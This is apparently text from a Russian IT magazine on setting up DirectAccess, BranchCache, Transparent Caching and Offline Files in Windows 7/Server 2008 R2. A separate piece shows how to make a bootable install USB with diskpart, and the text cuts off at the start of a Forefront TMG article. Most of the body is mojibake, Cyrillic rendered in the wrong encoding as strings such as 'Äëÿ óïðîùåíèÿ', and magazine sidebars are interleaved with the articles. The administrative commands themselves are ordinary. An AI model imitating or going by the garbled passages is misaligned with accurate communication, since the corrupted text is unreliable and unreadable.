ñåòè: êîíòðîëëåðå äîìåíà, DNS- è DHCP-ñåðâåðå ìîæíî èñïîëüçîâàòü 
Win2k8R2 èëè Win2k8SP2. Êðîìå òîãî, â äîìåíå äîëæíà áûòü ðàçâåð-

íóòà èíôðàñòðóêòóðà óïðàâëåíèÿ îòêðûòûìè êëþ÷àìè PKI (Public Key 
Infrastructure), à íà ñåðâåðå DirectAccess ôóíêöèîíèðîâàòü äâà ñåòåâûõ 

èíòåðôåéñà. Äëÿ óïðîùåíèÿ áóäåì ñ÷èòàòü, ÷òî âñå ñèñòåìû óñòàíîâëå-
íû, ðîëè Active Directory Domain Services (ïðè ýòîì àêòèâèðóåòñÿ DNS-

êîìïîíåíò), Active Directory Certificate Services è DHCP Server íàñòðîåíû, 
íà ñåðâåðå DirectAccess ôóíêöèîíèðóåò Web Server (IIS), êîìïüþòåðû 
çàâåäåíû â äîìåí, íåîáõîäèìûå ó÷åòíûå çàïèñè ñîçäàíû.

Åùå áîëüøå âîçìîæíîñòåé 
Â Vista äëÿ íàñòðîéêè ïðèîðèòåòà òðàôèêà ïîÿâèëèñü íîâûå âîçìîæíîñòè â âèäå Policy-based è qWAVE (Quality Windows Audio-Video Experience) 
QoS, ïîçâîëÿþùèå óñòàíàâëèâàòü ïðèîðèòåò òðàôèêà äëÿ ïðèëîæåíèé, ó÷åòíûõ çàïèñåé, êîìïüþòåðîâ, ïðîòîêîëà, IP-àäðåñîâ, à òàêæå ïîòîêî-
âîãî àóäèî/âèäåî. Íî åñëè íà îäíîì IP-àäðåñå ðàçìåùàåòñÿ íåñêîëüêî ñåðâèñîâ (íàïðèìåð, âåá-ñàéòû), òî îïðåäåëèòü ïðèîðèòåò äëÿ êàæäîãî 
ñîâñåì íå ïðîñòî. Â Win7/2k8R2 â íàñòðîéêàõ ãðóïïîâûõ ïîëèòèê (Computer Configuration — Windows Settings — Policy-based QoS) äëÿ êîíêðåò-
íîãî ïðàâèëà ìîæíî óêàçàòü àäðåñ ðåñóðñà (URL-based QoS).

Êëèåíòû DNS â íîâûõ ñèñòåìàõ ïîääåðæèâàþò ðàñøèðåíèå DNSSEC (DNS Security Extensions), îïèñàííîå â äîêóìåíòàõ RFC 4033, 4034, 4035 è 
èñïîëüçóåìîå äëÿ ïðîâåðêè öåëîñòíîñòè DNS-çàïèñåé. Òàêàÿ ïîäïèñü, ñäåëàííàÿ àâòîðèòåòíûì DNS-ñåðâåðîì çîíû, ïîçâîëÿåò óáåäèòüñÿ â òîì, 
÷òî çàïèñü íå èçìåíåíà, è ïðåäîòâðàòèòü àòàêè òèïà man-in-the-middle. Ïîìèìî âñåõ ïåðå÷èñëåííûõ íîâøåñòâ, íå ñëåäóåò çàáûâàòü î SMB 2.0, 

êîòîðûé ïîÿâèëñÿ åùå â Vista/Win2k8 è èìååò áîëüøóþ ñêîðîñòü îáìåíà äàííûìè, ïî ñðàâíåíèþ ñ ïåðâîé âåðñèåé ïðîòîêîëà. SMB 2.0 ïîääå-
ðæèâàåò ñèìâîëè÷åñêèå ññûëêè, ïîäïèñü ñîîáùåíèé SHA-256 è êýøèðîâàíèå ñâîéñòâ ôàéëà.
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Â íàñòðîéêàõ ðîëè DHCP Server íà øàãå Configure DHCPv6 
Stateless Mode âûáèðàåì Disable DHCPv6 stateless mode for 
this server è â ñëåäóþùåì îêíå — Authorize DHCP Server page 
— îòìå÷àåì Use current credentials. Â Active Directory Users 
and Computers ñîçäàåì îòäåëüíóþ ãðóïïó äëÿ ïîëüçîâàòåëåé 
DirectAccess. Â íàñòðîéêàõ Windows Firewall with Advanced 
Security ïðåäïèñûâàåì ïðàâèëà, ðàçðåøàþùèå âõîäÿùèå è 
èñõîäÿùèå ICMPv4/ICMPv6 «Echo Request» ïàêåòû. Îñòàëîñü 
èñêëþ÷èòü ïðîòîêîë ISATAP (Intra-Site Automatic Tunnel 
Addressing Protocol) èç DNS áëîê-ëèñòà (ïî óìîë÷àíèþ â íåãî 
âêëþ÷åíû WPAD è ISATAP), ââåäÿ êîìàíäó:

> dnscmd /config /globalqueryblocklist wpad

Ïîñëå ýòîãî â ñïèñêàõ îñòàíåòñÿ òîëüêî WPAD (Web Proxy 
AutoDiscovery).
DirectAccess ÿâëÿåòñÿ êîìïîíåíòîì ñèñòåìû (Features), è 
ïðîöåññ åãî óñòàíîâêè ñòàíäàðòåí. Âûçûâàåì «Äèñïåò÷åð 
ñåðâåðà» (Server Manager), âûáèðàåì Add Features è îòìå÷àåì 

DirectAccess Management Console, ïîäòâåðæäàåì ïîÿâèâøèé-
ñÿ çàïðîñ íà óñòàíîâêó äîïîëíèòåëüíûõ êîìïîíåíòîâ. Ïî 

îêîí÷àíèè óñòàíîâêè ñîîòâåòñòâóþùàÿ âêëàäêà ïîÿâèòñÿ â 
«Äèñïåò÷åðå ñåðâåðà», òàêæå â ìåíþ Administrative Tools áóäåò 

äîñòóïíà êîíñîëü DirectAccess Management (DAMgmt.msc). 
Â ïåðâîì îêíå DAMgmt õî÷ó îáðàòèòü âíèìàíèå íà ññûëêó 

Checklist: Before you configure DirectAccess, âûáîð êîòîðîé îò-
êðîåò îêíî äîêóìåíòà, ãäå ðàñïèñàíû âñå øàãè, íåîáõîäèìûå 
äëÿ òîãî, ÷òîáû DirectAccess çàðàáîòàë. Êîíñîëü ïðåäëàãàåò 
äâà ìåíþ: Setup è Monitoring. Äëÿ äàëüíåéøåé íàñòðîéêè 
ïåðåõîäèì â Setup. Åñëè âñå òðåáîâàíèÿ âûïîëíåíû, ìû 

óâèäèì óïðîùåííóþ ñõåìó ñåòè ñ óêàçàíèåì äàëüíåéøèõ 
øàãîâ (Step1...Step4). Èíà÷å — áóäóò âûâåäåíû ïðåäóïðåæ-
äåíèÿ î òîì, ÷òî íóæíî âûïîëíèòü. Óñòðàíÿåì è íàæèìàåì 

êíîïêó Retry, ÷òîáû ïðîâåðèòü ïðàâèëüíîñòü âûïîëíåííûõ 
íàñòðîåê.
Øàã ïåðâûé — Remote Clients. Íàæàâ êíîïêó Configure, 
íàõîäÿùóþñÿ â îäíîèìåííîé îáëàñòè, âûçûâàåì ìàñòåð 
íàñòðîéêè êëèåíòà. Äàëåå æìåì Add è óêàçûâàåì ãðóïïó 

Active Directory, êóäà âõîäÿò êîìïüþòåðû, ðàáîòàþùèå ÷åðåç 
DirectAccess. Íà ñëåäóþùåì øàãå — DirectAccess Server — 
ùåëêàåì ïî Configure. Â ïîÿâèâøåìñÿ îêíå áóäóò ñõåìàòè-

÷åñêè ïîêàçàíû ñåòåâûå ïîäêëþ÷åíèÿ ê ñåðâåðó DirectAccess. 
Çäåñü òðåáóåòñÿ óêàçàòü, ê êàêîìó èç íèõ ïîäêëþ÷åíû 
WAN è LAN. Êíîïêà Detail ïîêàæåò ïîäðîáíûå íàñòðîéêè 
ïî èíòåðôåéñàì. Ôëàæîê âíèçó Require smart card login for 

remote users… àêòèâèðóåò ôóíêöèþ àóòåíòèôèêàöèè ïîëü-
çîâàòåëåé ïî ñìàðò-êàðòàì. Â ñëåäóþùåì îêíå — Certificate 
Components — âûáèðàþòñÿ êîðíåâîé è HTTPS-ñåðòèôèêàòû, 
êîòîðûå áóäóò èñïîëüçîâàòüñÿ ñîîòâåòñòâåííî äëÿ ïðîâåð-
êè ñåðòèôèêàòîâ è ñîåäèíåíèÿ. Ïî îêîí÷àíèè íàæèìàåì 
êíîïêó Finish. Íà òðåòüåì øàãå — Infrastructure Servers — 
íàñòðàèâàþòñÿ âñå ñåðâåðà, êîòîðûå áóäóò çàäåéñòâîâàíû â 
ðàáîòå DirectAccess. Ïåðâûé ýòàï íàñòðîéêè — Location; çäåñü 
óêàçûâàåì èìÿ HTTPS-ñåðâåðà, ê êîòîðîìó áóäåò îáðàùàòü-
ñÿ êëèåíò äëÿ îïðåäåëåíèÿ ñâîåãî ìåñòîïîëîæåíèÿ (WAN 
èëè LAN). Îáû÷íî â ýòîì êà÷åñòâå âûñòóïàåò âåá-ñåðâåð 
êîìïàíèè, ïîýòîìó îòìå÷àåì Network Location Server is run 
on highly è â ïîëå ïèøåì URL âèäà https://server.ru. Åñëè ýòó 
ðîëü áóäåò èãðàòü ñàì ñåðâåð DirectAññess, òî ïåðåìåùàåì 
ôëàæîê â íèæíèé ÷åêáîêñ è âûáèðàåì â ñïèñêå ñåðòèôèêàò 
ñåðâåðà. Äàëåå ìàñòåð îïðåäåëÿåò DNS è DC ñåðâåðà, êîòîðûå 
áóäóò èñïîëüçîâàòüñÿ DirectAññess äëÿ ðàçðåøåíèÿ âíóò-
ðåííèõ èìåí. Åñëè âèçàðä äîïóñòèë îøèáêó, ïîïðàâëÿåì 
íàñòðîéêè âðó÷íóþ. Íà ýòàïå Management (îïöèîíàëüíî) 
óêàçûâàþòñÿ ñåðâåðà, êîòîðûå áóäóò óïðàâëÿòü êëèåíòñêèìè 
ïîäêëþ÷åíèÿìè (íàïðèìåð, NAP). È íà ïîñëåäíåì øàãå 

Application Servers íàñòðàèâàþòñÿ ñåðâåðû ïðèëîæåíèé, ê 
êîòîðûì áóäóò ïîëó÷àòü äîñòóï êëèåíòû DirectAññess. Òàê 

êàê ìû âûáèðàëè ñõåìó End-to-Edge, òî îñòàâëÿåì ïåðå-
êëþ÷àòåëü â ïîëîæåíèè Require no additional end-to-end 

authentication. Íàæèìàåì Save è ïîñëå ñîõðàíåíèÿ íàñòðîåê 
âûõîäèì íàæàòèåì Finish, ïðîâåðÿåì óñòàíîâêè â îêíå 

Review è ïîäòâåðæäàåì èõ ùåë÷êîì ïî Apply. Íà÷íåòñÿ 
ïðîöåññ êîíôèãóðèðîâàíèÿ ïîëèòèê, êîòîðûé çàéìåò íåêî-
òîðîå âðåìÿ. Îáíîâëÿåì íà êëèåíòàõ ãðóïïîâûå ïîëèòèêè è 
ñåòåâûå íàñòðîéêè:

> gpupdate

> net stop iphlpsvc

> net start iphlpsvc

Âñå, êîíôèãóðèðîâàíèå DirectAññess çàâåðøåíî, — êëèåíòû 
òåïåðü ìîãóò ïîäêëþ÷àòüñÿ ê êîðïîðàòèâíîé ñåòè îòêóäà 
óãîäíî.

СУПЕР КЭШ BRANCHCACHE Îäíèì èç ñïîñîáîâ óìåíü-
øåíèÿ íàãðóçêè íà âíåøíèé êàíàë ÿâëÿåòñÿ êýøèðîâàíèå 
äàííûõ. Åñëè ïîëüçîâàòåëü çàïðàøèâàåò íåêîòîðûé îáúåêò 

(íàïðèìåð, ôàéë èëè âåá-ñòðàíèöó), êîòîðûé åñòü â êýøå, 
òî îí ïîëó÷àåò åãî ïðàêòè÷åñêè ìãíîâåííî. Òåõíîëîãèÿ 
BranchCache êàê ðàç è ðåàëèçóåò òàêóþ âîçìîæíîñòü, íî â îò-

ëè÷èå îò êëàññè÷åñêèõ êýøèðóþùèõ ñåðâåðîâ, ê êîòîðûì ìû 

ДЛЯ РАБОТЫ DIRECTACCESS НЕОБХОДИМО 
ВЫПОЛНИТЬ ВСЕ ТРЕБОВАНИЯ

УСТАНАВЛИВАЕМ КОМПОНЕНТ DIRECTACCESS В WIN2K8R2

info
•Настройка службы 
защиты сетевого досту-
па NAP рассмотрена в 
декабрьском номере 
z за 2008 год, в статье 
«Сетевой коп».

•Обзор возможностей 
Win2k8R2 читай в 
статье «Новое явление 
длиннорога», опубли-
кованной в июньском 
номере z за 2009 год.

•Служба BITS 
(Background Intelligent 
Transfer Service), 
предназначенная для 
фоновой передачи 
файлов (например, 
обновлений ОС), теперь 
умеет использовать кэш 
BranchCache, что может 
позитивно сказаться на 
эффективности работы 
в сегменте сети, где 
включен BranchCache.

INFO

info
Использование 
DirectAccess для вне-
доменных компьюте-
ров невозможно!

WARNING
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ïðèâûêëè, èìååò ñâîè îñîáåííîñòè. Òàê, BranchCache ìîæåò 
áûòü íàñòðîåí â îäíîì èç äâóõ ðåæèìîâ:
• Distributed Cache («Ðàñïðåäåëåííûé êýø») — ðåæèì 
ïî ðàáîòå íàïîìèíàåò P2P-ñåòè: êëèåíòñêèå êîìïüþòåðû 
ïîä óïðàâëåíèåì Win7 ëîêàëüíî êýøèðóþò êîïèè ôàéëîâ 
è ïî çàïðîñó ïåðåñûëàþò èõ äðóãèì ñèñòåìàì, ðàñïîëîæåí-
íûì â îäíîé LAN. Òàêîé ðåæèì íå òðåáóåò íàëè÷èÿ â ñåòè 
ñåðâåðà Win2k8R2, äîñòàòî÷íî ïðîñòî âêëþ÷èòü ôóíêöèþ 
BranchCache íà êëèåíòñêèõ ñèñòåìàõ. Äëÿ ïîèñêà ôàéëà 
èñïîëüçóåòñÿ øèðîêîâåùàòåëüíûé çàïðîñ.
• Hosted Cache («Ðàçìåùåííûé èëè öåíòðàëèçîâàííûé 

êýø») — äëÿ öåíòðàëèçîâàííîãî õðàíåíèÿ êîïèé äàííûõ 
èñïîëüçóåòñÿ ñåðâåð Win2k8R2, êîòîðîìó êëèåíòû ïåðåñû-
ëàþò ñêà÷àííûå ôàéëû. Äðóãèå êëèåíòû, çàïðàøèâàþùèå 
ýòî ñîäåðæèìîå, ïîëó÷àþò åãî èç ðàçìåùåííîãî êýøà.
Âàðèàíò Distributed Cache ïîäõîäèò òîëüêî äëÿ ñðàâíèòåëüíî 
íåáîëüøèõ ñåòåé. Ó÷èòûâàÿ, ÷òî â êà÷åñòâå Hosted Cache õðàíè-
ëèùà ìîæåò âûñòóïàòü ñåðâåð, âûïîëíÿþùèé äðóãóþ ðîëü (â 
òîì ÷èñëå è Server Core), â ðàçâåòâëåííûõ ñåòÿõ ëó÷øå âûáðàòü 
ýòîò âàðèàíò. Â òàêîì ñëó÷àå ïîâûøàåòñÿ äîñòóïíîñòü äàííûõ 
è ñíèçèòñÿ îáúåì øèðîêîâåùàòåëüíîãî òðàôèêà.
Ðàáîòàåò BranchCache ñëåäóþùèì îáðàçîì. Ïåðâîìó îáðà-
òèâøåìóñÿ ïîëüçîâàòåëþ ñåðâåð âìåñòå ñ ôàéëîì ïåðåäàåò 
óíèêàëüíûé õýø, ïîëó÷åííûå äàííûå íà êëèåíòñêîé ñòîðî-
íå êýøèðóþòñÿ (îòïðàâëÿþòñÿ íà Hosted Cache ñåðâåð). Ïðè 
ïîâòîðíîì îáðàùåíèè ê äàííûì ñåðâåð ïðîâåðÿåò ïðàâà 
ïîëüçîâàòåëÿ, — åñëè åìó ðàçðåøåí äîñòóï, àíàëèçèðóåòñÿ 
âîçìîæíîå íàëè÷èå â êýøå. Åñëè òàêîå ïîäòâåðæäàåòñÿ 
(õýø åñòü), òî âìåñòî ïîâòîðíîé ïåðåäà÷è ôàéëà êëèåíòó 
îòäàåòñÿ òîëüêî õýø, ïî êîòîðîìó êëèåíò íàõîäèò ôàéë â 
ëîêàëüíîé ñåòè è ïîëó÷àåò åãî èç êýøà. Â ïëàíå áåçîïàñ-

íîñòè ðàçðàáîò÷èêè èçðÿäíî ïîòðóäèëèñü: ïðè ïåðåäà÷å 
èíôîðìàöèè BranchCache èñïîëüçóåò SSL, IPsec è ïîäïèñü 
ïàêåòîâ SMB.

Ïðîöåññ íàñòðîéêè BranchCache êàê â Win7, òàê è â 
Win2k8R2 äîâîëüíî ïðîñò. Íà êëèåíòñêîé ñòîðîíå íåîáõîäè-
ìî àêòèâèðîâàòü ñëóæáó BranchCache, óêàçàâ ðåæèì ðàáîòû. 
Ýòî ìîæíî ñäåëàòü ïðè ïîìîùè ðåäàêòîðà ãðóïïîâûõ 
ïîëèòèê: gpedit.msc — Administrative Templates — Network 

— BranchCache. Ïî óìîë÷àíèþ ïîä êýø âûäåëÿåòñÿ 5% 
äèñêîâîãî ïðîñòðàíñòâà, èçìåíèòü ýòî çíà÷åíèå ìîæíî ïðè 
ïîìîùè ïîëèòèêè Set percentage of disk space used for client 

computer cache. Àêòèâàöèÿ ïîëèòèêè Configure BranchCache 
for network files ïîçâîëèò îïòèìèçèðîâàòü SMB-òðàôèê.
Ïîñðåäñòâîì êîìàíäû Netsh íàñòðîéêè âûãëÿäÿò åùå ïðîùå. 
Äëÿ àêòèâàöèè ðåæèìà ðàñïðåäåëåííîãî êýøèðîâàíèÿ:

> netsh branchcache set service 

mode=distributed

Ïðè ýòîì áóäåò àêòèâèðîâàíà êàê ñàìà ñëóæáà, òàê è óñòàíîâëå-
íû ñîîòâåòñòâóþùèå ïðàâèëà Windows Firewall. Ïðè èñïîëüçî-
âàíèè äðóãîãî áðàíäìàóýðà èëè GPO ñëåäóåò îòêðûòü ïîðòû 80, 
443 è 3702. Äëÿ Hosted Cache äîïîëíèòåëüíî óêàçûâàåì ñåðâåð, 
íà êîòîðîì áóäåò ïðîèçâîäèòüñÿ êýøèðîâàíèå:

> netsh branchcache set service 

mode=hostedclient location=cache.synack.ru

Ïðîâåðèòü òåêóùèé ñòàòóñ è íàñòðîéêè ñëóæáû BranchCache 
ïðîñòî:

> netsh branchcache show status all

Íà ñåðâåðå âíà÷àëå íåîáõîäèìî ïðè ïîìîùè «Äèñïåò÷åðà 
ñåðâåðà» óñòàíîâèòü êîìïîíåíò BranchCache. Èëè â êîíñîëè:

> DISM.exe /Online /Enable-Feature /

FeatureName:PeerDist

Çàòåì — óêàçàòü ðåæèì ðàáîòû ñëóæáû êýøèðîâàíèÿ:

> netsh branchcache set service 

mode=hostedserver clientauthentication=domain

> net stop peerdistsvc

> net start peerdistsvc

Ïî óìîë÷àíèþ êýø ðàñïîëàãàåòñÿ íà ñèñòåìíîì ðàçäåëå. 
Ïðåäïî÷òèòåëüíåå èñïîëüçîâàòü äðóãîé ðàçäåë äèñêà; äëÿ 
ýòîãî ê âûçîâó set service mode äîáàâëÿåì set localcache 

directory=D:\Branchcache\Localcache. Èçìåíèòü ðàçìåð 
êýøà ìîæíî ïðè ïîìîùè ïàðàìåòðà set cachesize:

> netsh branchcache set cachesize size=20 

persent=true

Òåïåðü ïîä êýø îòâåäåíî 20% ðàçäåëà æåñòêîãî äèñêà. È 
îáíîâèì âñå ïàðàìåòðû:

> netsh branchcache flush

ВКЛЮЧАЕМ BRANCHCACHE В WIN2K8R2

НАСТРОЙКИ BRANCHCACHE В ГРУППОВЫХ ПОЛИТИКАХ

•Страница, посвя-
щенная Win2k8R2 на 
TechNet — technet.
microsoft.com/ru-ru/
windowsserver.

•Страница, посвя-
щенная DirectAccess 
— www.microsoft.
com/directaccess.

links

HTTP://WWW

В видеоролике мы 
покажем, как 
установить 
и настроить компо-
ненты DirectAccess, 
BranchCache 
в Win2k8R2, а также 
познакомимся 
с групповыми поли-
тиками, связанными 
с Transparent Caching 
и Offline Files.

dvd

DVD
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Ïîñëå àêòèâàöèè BranchCache áóäåò àâòîìà-

òè÷åñêè êýøèðîâàòüñÿ è SMB-òðàôèê. ×òî-
áû èçìåíèòü íàñòðîéêè äëÿ ñåòåâûõ ïàïîê, 

íóæíî âûçâàòü êîíñîëü Share and Storage 
Manager, âûáðàòü ïàïêó è âî âêëàäêå 

Caching ñâîéñòâ óñòàíîâèòü/ñíÿòü ôëàæîê 
Enable BranchCache.

TRANSPARENT CACHING И OFFLINE FILES 
Ïîÿâëåíèåì BranchCache òåìà êýøèðîâà-

íèÿ äàííûõ â íîâûõ îêíàõ íå èñ÷åðïàíà. 
Ïðåäñòàâèì ñèòóàöèþ: ïîëüçîâàòåëü 
îòêðûë ôàéë íà ñåòåâîì ðåñóðñå, îòðåäàêòè-
ðîâàë åãî è çàêðûë. Çàòåì íåñêîëüêî ðàç âñå 
ïîâòîðèë. Êàæäûé ðàç ïðîãðàììà çàãðóæà-

ëà äîêóìåíò ñ óäàëåííîãî ðåñóðñà, ïðè ýòîì 
íàãðóæàÿ ñåòü è çàñòàâëÿÿ ïîëüçîâàòåëÿ 
æäàòü. Â Win7/2k8R2 ïîÿâèëàñü ôóíêöèÿ 

ïðîçðà÷íîãî êýøèðîâàíèÿ (Transparent 
Caching), ïî ñóòè íàïîìèíàþùàÿ êýø áðà-
óçåðà, íî ðàáîòàþùàÿ ñ ôàéëàìè, îòêðûâà-
åìûìè ïî SMB. Ïðè ïîâòîðíîì îòêðûòèè 
ôàéëà ïðîâåðÿåòñÿ, èçìåíÿëñÿ ëè èñõîäíûé 

ôàéë íà èñòî÷íèêå; åñëè íåò, òî îí âûäàåòñÿ 

УСТАНАВЛИВАЕМ TRANSPARENT CACHING В ГРУППОВЫХ ПОЛИТИКАХ

В WIN7/2K8R2 ПОЯВИЛАСЬ ВОЗМОЖНОСТЬ УКАЗАТЬ В QOS URL 
РЕСУРСА
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èç ëîêàëüíîãî êýøà, áåç ïîâòîðíîé åãî 
ïåðåäà÷è ïî ñåòè. Äëÿ ñîõðàíåíèÿ öåëîñ-
òíîñòè äàííûõ èçìåíåííûé ôàéë âñåãäà 
ïåðåäàåòñÿ íà óäàëåííóþ ñèñòåìó. Âàæíûé 
ìîìåíò: åñëè ñåðâåð íåäîñòóïåí, ïîëüçîâà-
òåëü íå ñìîæåò ïîëó÷èòü ôàéë èç êýøà.
Â áûñòðûõ ñåòÿõ Transparent Caching ïî 
óìîë÷àíèþ îòêëþ÷åí; ÷òîáû àêòèâèðî-
âàòü äàííóþ ôóíêöèþ, ñëåäóåò ïðèìåíèòü 
ãðóïïîâóþ ïîëèòèêó: GPOEdit — Computer 
configuration — Administrative Templates 
— Network — Offline Files — Enable 
Transparent Caching. Ïîñëå àêòèâàöèè â 
ïîëå Enter Network latency… óêàçûâàåì 
âðåìÿ çàäåðæêè â ñåòè (â ìèëëèñåêóíäàõ), 
ïîñëå ïðåâûøåíèÿ êîòîðîãî ôàéëû áóäóò 
îòêðûâàòüñÿ â ðåæèìå Transparent Caching.
Ôóíêöèåé Off line Files, íàâåðíîå, ïîëü-
çóþòñÿ ìíîãèå åùå ñî âðåìåí Win2k; îíà 
îáåñïå÷èâàåò ïîëíóþ ñèíõðîíèçàöèþ 
ñåòåâûõ ïàïîê ìåæäó ñåðâåðîì è êëèåí-

òîì, ïðè÷åì ïðîöåññ ïðîèñõîäèò â ôî-
íîâîì ðåæèìå è àáñîëþòíî ïðîçðà÷åí 
äëÿ ïîëüçîâàòåëÿ. Êîãäà ïîëüçîâàòåëü 
ïîäêëþ÷åí ê ñåòè, âñå èçìåíåíèÿ ìåæäó 
ñåðâåðîì è êëèåíòîì àâòîìàòè÷åñêè ñî-
õðàíÿþòñÿ; ïðè ðåäàêòèðîâàíèè äàííûõ 
â Off line-ðåæèìå ôàéëû ñèíõðîíèçèðó-
þòñÿ àâòîìàòè÷åñêè ïðè ïîäêëþ÷åíèè 
ê ñåòè. Â Win7 ïîÿâèëñÿ íîâûé ðåæèì 
Slow link, ïðåäíàçíà÷åííûé äëÿ ìåä-
ëåííûõ ñåòåé. Ñèíõðîíèçàöèÿ äàííûõ 
â Slow link ïðîèçâîäèòñÿ ïî ðàñïèñà-
íèþ, óêàçàííîìó â ïîëèòèêå Configure 
Background Sync, à íå ïîñòîÿííî. Â 
ãðóïïå ïîëèòèê Off line Files íàñòðàèâà-
þòñÿ è äðóãèå ïàðàìåòðû, ñâÿçàííûå ñ 
êýøèðîâàíèåì:
• Default cache size — ðàçìåð êýøà;
• Action on server disconnect — óñòàíîâêà 
Work Offline ðàçðåøèò èñïîëüçîâàíèå ëî-
êàëüíîãî êýøà ïðè íåäîñòóïíîñòè ñåðâåðà;

• Files not cached — ðàñøèðåíèÿ ôàéëîâ, 
êîòîðûå íå áóäóò êýøèðîâàòüñÿ.
Íåêîòîðûå èç ãðóïïîâûõ ïîëèòèê îòíî-
ñÿòñÿ ê ðàííèì âåðñèÿì Windows, ïîýòîìó 
ñëåäóåò áûòü âíèìàòåëüíûì è ó÷èòûâàòü 
ïîëå Supported On!

ЗАКЛЮЧЕНИЕ  Íîâûå âîçìîæíîñòè, 
ïîÿâèâøèåñÿ â ÎÑ Win7/2k8R2, ïîç-
âîëÿþò ïîâûñèòü ïðîèçâîäèòåëüíîñòü 
ðàáîòû è óìåíüøèòü íàãðóçêó íà ñåòü. 
Èñïîëüçîâàíèå âìåñòî òðàäèöèîííîãî 
VPN-ðåøåíèÿ òåõíîëîãèè DirectAccess 
ñäåëàåò ïðîöåññ óïðàâëåíèÿ ìîáèëü-
íûìè ñèñòåìàìè áîëåå óäîáíûì, à 
ïðîöåññ ïîäêëþ÷åíèÿ/ïåðåïîäêëþ-
÷åíèÿ ê êîðïîðàòèâíûì ðåñóðñàì 
ïðîçðà÷íûì. Ïðè ýòîì íîâûå ôóíêöèè 
äîâîëüíî ïðîñòî àêòèâèðóþòñÿ. Îñòà-
ëîñü äîæäàòüñÿ ìàññîâîãî ïåðåõîäà íà 
Win7/2k8R2. z

Сложно не заметить, насколько шуст-
ро запускается система, и насколько 
оперативно она реагирует на любые 
действия пользователя. Разницу с дру-
гими системами начинаешь чувствовать 
сразу после установки Windows 7. При-
чем «семерка» летает не только там, где 
ресурсов хоть отбавляй, но и на вполне 
бюджетных компьютерах. Скажем чест-
но: производительности нетбука Vista'е 
явно не хватало. Windows 7 же работает 
даже на слабых машинах и маленьких 
ноутбуках, и работает действительно 
хорошо. Если на машинке установлен 1 
Гб памяти, то устанавливать новую ось 
нужно в обязательном порядке. 
Одна проблема — на нетбуке обычно нет 
DVD-привода, но систему при желании  
можно установить с флешки. Файлы 
дистрибутива занимают больше 2 Гб, 
поэтому флешку нужно взять не мень-
ше чем на 4 Гб. Далее, помня, что все 
файлы с нее пропадут, отформатируем 
ее в NTFS и создадим на ней активный 
раздел. Подойдет стандартная утилита 
diskpart:

C:\Windows\system32> diskpart

DISKPART> list disk

Disk#   Status   Size       Free

Disk 0  Online   74 GB      0 B

Disk 1  Online   3911 MB   0 B

Тут надо выбрать тот диск, который 

представляет собой флешка — его легко 
узнать по объему. Далее:

DISKPART> select disk 1

Disk 1 is now the selected disk.

DISKPART> clean

DiskPart succeeded in cleaning the 

disk.

DISKPART> CREATE PARTITION PRIMARY

DiskPart succeeded in creating the 

specified partition.

DISKPART> SELECT PARTITION 1

Partition 1 is now the selected 

partition.

DISKPART> ACTIVE

DiskPart marked the current 

partition as active.

DISKPART> FORMAT FS=NTFS

100 percent completed

DiskPart successfully formatted 

the volume.

DISKPART> ASSIGN

DiskPart successfully assigned the 

drive letter or mount point.

DISKPART> exit

Теперь переносим на флешку файлы 
дистрибутива: с установочного DVD-
диска или из образа, распаковав его, 

например, WinRAR'ом. После этого 
остается записать на флешку загруз-
чик, чтобы та стала загрузочной. Для 
этого переходим на флешку (у меня - f:), 
заходим в директорию boot и выполняем 
команду:

F:\>cd boot

F:\boot>BOOTSECT.EXE/NT60 F:

Target volumes will be updated with 

BOOTMGR compatible bootcode.

F: (\\?\Volume{ec542ab1-a8bb-

11de-5112-6e156ff6e912})

    Updated NTFS filesystem 

bootcode.  The update may be 

unreliable since the volume could 

not be locked during the update:

    Access is denied.

Bootcode was successfully updated 

on all targeted volumes.

Вот и все, теперь можно поставить в 
БИОСе запуск с USB и спокойно устано-
вить систему.
Надо сказать, что буквально за несколь-
ко часов до сдачи номера в печать, 
компания Microsoft представила свою 
утилиту для создания из ISO-образа 
загрузочной флешки. Все необходи-
мое теперь выполняется в несколько 
кликов мыши с помощью специальной 
тулзы Windows 7 USB/DVD Download 
Tool (http://store.microsoft.comHelp/
ISO-Tool).
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Параллельно с новыми ОС Win2k8R2 и Win7 корпорация Microsoft анон-
сировала ряд решений, направленных на усиление безопасности сетей 
и серверов. Вместо ставших уже привычными имен и технологий, на IT-
сцене появились совершенно новые названия. В статье познакомимся 
с назначением продуктов семейства Forefront «Stirling» и подробно раз-
берем пакет Forefront TMG, который стал преемником ISA Server 2006.

Форпост 
для защиты 
периметра

ИНТЕГРИРОВАННАЯ СИСТЕМА БЕЗОПАС-
НОСТИ FOREFRONT «STIRLING» Ïðàêòè÷åñ-
êè 9 ëåò êîìïüþòåðíûå ñåòè ìíîãèõ îðãàíèçà-
öèé áåññìåííî çàùèùàë ISA Server (Microsoft 

Internet Security and Acceleration Server). 
Îñíîâà, çàëîæåííàÿ åùå â ïåðâîì ðåëèçå, ìàëî 

èçìåíèëàñü è â òðåòüåé âåðñèè ISA Server 2006: 
ôèëüòðàöèÿ òðàôèêà íà íåñêîëüêèõ óðîâíÿõ, 

ïîääåðæêà VPN, ðàáîòà ñ Active Directory, 
àíàëèç ïîñåùåíèÿ âíåøíèõ ðåñóðñîâ, IDS/IPS 

è òàê äàëåå. Íåò, êîíå÷íî, ïðîäóêò ðàçâèâàëñÿ: 
áûë ñóùåñòâåííî ïåðåðàáîòàí èíòåðôåéñ, 

ïîÿâèëèñü íîâûå ôóíêöèè, íî ñî âðåìåíåì 
ìåíÿëàñü èäåîëîãèÿ çàùèòû ñåòåé, è ñîîò-
âåòñòâåííî àäìèíèñòðàòîðû ñòàëè òðåáîâàòü 

áîëüøåãî, ÷åì ìîã äàòü ISA Server, êîòîðûé ê 
òîìó æå íå ñîâìåñòèì ñ íîâûìè ñåðâåðíûìè 
ÎÑ Win2k8/R2.
Ðåçóëüòàò íå çàñòàâèë ñåáÿ äîëãî æäàòü. Â 2008 
ãîäó íà êîíôåðåíöèè RSA Security áûë ïðåä-

ñòàâëåí ïðååìíèê ISA Server, ïîëó÷èâøèé íî-
âîå èìÿ Forefront Threat Management Gateway 
(Forefront TMG, Øëþç óïðàâëåíèÿ óãðîçàìè). 

Îäíîé èç îñíîâíûõ îñîáåííîñòåé Forefront 
TMG ñòàëà ñîâìåñòíàÿ ðàáîòà ñ äðóãèìè ïðî-
äóêòàìè íîâîé ïëàòôîðìû Forefront Protection 
Suite (êîäîâîå èìÿ «Stirling», www.microsoft.
com/forefront/stirling), ïðåäíàçíà÷åííîé äëÿ 
âñåñòîðîííåé çàùèòû è öåíòðàëèçîâàííîãî 
